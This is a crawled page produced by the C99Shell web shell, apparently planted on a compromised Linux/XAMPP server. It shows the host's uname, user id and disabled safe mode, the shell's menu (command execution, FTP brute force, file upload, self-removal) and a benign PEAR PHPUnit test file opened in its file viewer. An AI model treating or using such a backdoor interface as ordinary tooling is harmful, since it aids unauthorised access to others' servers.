!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/lib/php/test/HTML_Template_PHPLIB/tests/   drwxr-xr-x
Free 13.65 GB of 61.93 GB (22.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     HTML_Template_PHPLIB_GeneratorTest.php (3.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// Call HTML_Template_PHPLIB_GeneratorTest::main() if this source file is executed directly.
if (!defined('PHPUnit_MAIN_METHOD')) {
    
define('PHPUnit_MAIN_METHOD''HTML_Template_PHPLIB_GeneratorTest::main');
}

require_once 
dirname(__FILE__) . '/helper.inc';

require_once 
'HTML/Template/PHPLIB/Generator.php';

/**
 * Test class for HTML_Template_PHPLIB_Generator.
 * Generated by PHPUnit on 2007-10-03 at 21:44:43.
 */
class HTML_Template_PHPLIB_GeneratorTest extends PHPUnit_Framework_TestCase {
    
/**
     * Runs the test methods of this class.
     *
     * @access public
     * @static
     */
    
public static function main() {
        require_once 
'PHPUnit/TextUI/TestRunner.php';

        
$suite  = new PHPUnit_Framework_TestSuite('HTML_Template_PHPLIB_GeneratorTest');
        
$result PHPUnit_TextUI_TestRunner::run($suite);
    }

    
/**
     * Sets up the fixture, for example, opens a network connection.
     * This method is called before a test is executed.
     *
     * @access protected
     */
    
protected function setUp() {
    }

    
/**
     * Tears down the fixture, for example, closes a network connection.
     * This method is called after a test is executed.
     *
     * @access protected
     */
    
protected function tearDown() {
    }


    
/**
     */
    
public function testGetBlocks()
    {
        
$strTemplate = <<<EOT
<!-- BEGIN one -->
 <!-- BEGIN three -->
  <!-- BEGIN four -->
   <!-- BEGIN six -->
    some text
   <!-- END six -->
  <!-- END four -->
 <!-- END three -->
 <!-- BEGIN five -->
 <!-- END five -->
<!-- END one -->
<!-- BEGIN two -->
<!-- END two -->
EOT;
        
$arBlocks HTML_Template_PHPLIB_Generator::getBlocks(
            
HTML_Template_PHPLIB_Helper::splitLines($strTemplate)
        );

        
$this->assertEquals(2count($arBlocks));
        
$this->assertArrayHasKey('one'$arBlocks);
        
$this->assertArrayHasKey('two'$arBlocks);
        
$this->assertEquals(2count($arBlocks['one']['sub']));
        
$this->assertArrayHasKey('three'$arBlocks['one']['sub']);
        
$this->assertArrayHasKey('five',  $arBlocks['one']['sub']);
        
$this->assertArrayHasKey('four',  $arBlocks['one']['sub']['three']['sub']);
    }
//public function testGetBlocks()



    
public function testGetTemplateNameFromFilename()
    {
        
$this->assertEquals(
            
'some',
            
HTML_Template_PHPLIB_Generator::getTemplateNameFromFilename(
                
'some.tpl'
            
)
        );
        
$this->assertEquals(
            
'order',
            
HTML_Template_PHPLIB_Generator::getTemplateNameFromFilename(
                
'/path/to/templates/order.mail'
            
)
        );
        
/*
        //does not work on unix
        $this->assertEquals(
            'mytemplate',
            HTML_Template_PHPLIB_Generator::getTemplateNameFromFilename(
                'C:\\mytemplate.ihtml'
            )
        );
        */
    
}//public function testGetTemplateNameFromFilename()
}

// Call HTML_Template_PHPLIB_GeneratorTest::main() if this source file is executed directly.
if (PHPUnit_MAIN_METHOD == 'HTML_Template_PHPLIB_GeneratorTest::main') {
    
HTML_Template_PHPLIB_GeneratorTest::main();
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4802 ]--